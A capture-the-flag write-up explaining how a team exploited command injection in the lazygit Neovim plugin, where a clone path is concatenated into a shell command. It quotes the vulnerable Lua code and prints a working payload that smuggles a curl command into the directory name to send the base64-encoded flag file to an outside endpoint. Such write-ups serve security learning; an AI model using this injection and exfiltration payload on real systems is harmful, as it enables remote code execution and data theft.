While writing another challenge, I accidentally beheaded my editor :( Can you geit gud and put it’s head back on? Or just get the flag…

Category: misc

Solver: sohn123, nh1729

Flag: GPNCTF{WOW_4pP4r3n7Ly_Y0U_rEAlly_gO7_g0Od!}

Writeup

In this challenge there is a webservice written in go that clones a repository. Afterwards the repository is opened in neovim where the extension for lazygit is installed. As a user you can only control the name/directory path where the repository is cloned to. Because of this we looked at where the path is used.

For this we looked at the source code of lazygit to find the entrypoint and followed where the path is used and found the following code in lua/lazygit.lua:


--- :LazyGitCurrentFile entry point
local function lazygitcurrentfile()
  local current_dir = vim.fn.expand("%:p:h")
  local git_root = get_root(current_dir)
  lazygit(git_root)
end

local function lazygit(path)
  ...
  local cmd = "lazygit"
  ...
  if vim.env.GIT_DIR ~= nil and vim.env.GIT_WORK_TREE ~= nil then
    cmd = cmd .. " -w " .. vim.env.GIT_WORK_TREE .. " -g " .. vim.env.GIT_DIR
  elseif path == nil then
    if is_symlink() then
      path = project_root_dir()
    end
  else
    if fn.isdirectory(path) then
      cmd = cmd .. " -p " .. path -- VULNERABILITY part 1
    end
  end

  exec_lazygit_command(cmd) -- VULNERABILITY part 2
end

local function exec_lazygit_command(cmd)
  if LAZYGIT_LOADED == false then
    -- ensure that the buffer is closed on exit
    vim.g.lazygit_opened = 1
    vim.fn.termopen(cmd, { on_exit = on_exit })
  end
  vim.cmd("startinsert")
end

So from our entrypoint we call the lazygit main function with the path of our git repository as argument. In the main function we build a string cmd that starts with lazygit and then we concatenate different options. If the environment variables GIT_DIR or GIT_WORK_TREE are unset, we concatenate our path as last argument (VULNERABILITY part 1). The cmd gets then executed using the exec_lazygit_command (VULNERABILITY part 2). So we thought that a command injection might be possible to get RCE. We then tried the following payload:

abc ; curl https://djisajdsaoidosa.requestcatcher.com/test`base64 flag.txt`

This payload ends the first command using the semicolon and sends the flag as a base64 encoded string to an endpoint we control. It worked, we decoded the received request and got the flag :)

echo 'R1BOQ1RGe1dPV180cFA0cjNuN0x5X1kwVV9yRUFsbHlfZ083X2cwT2QhfQoK' | base64 -d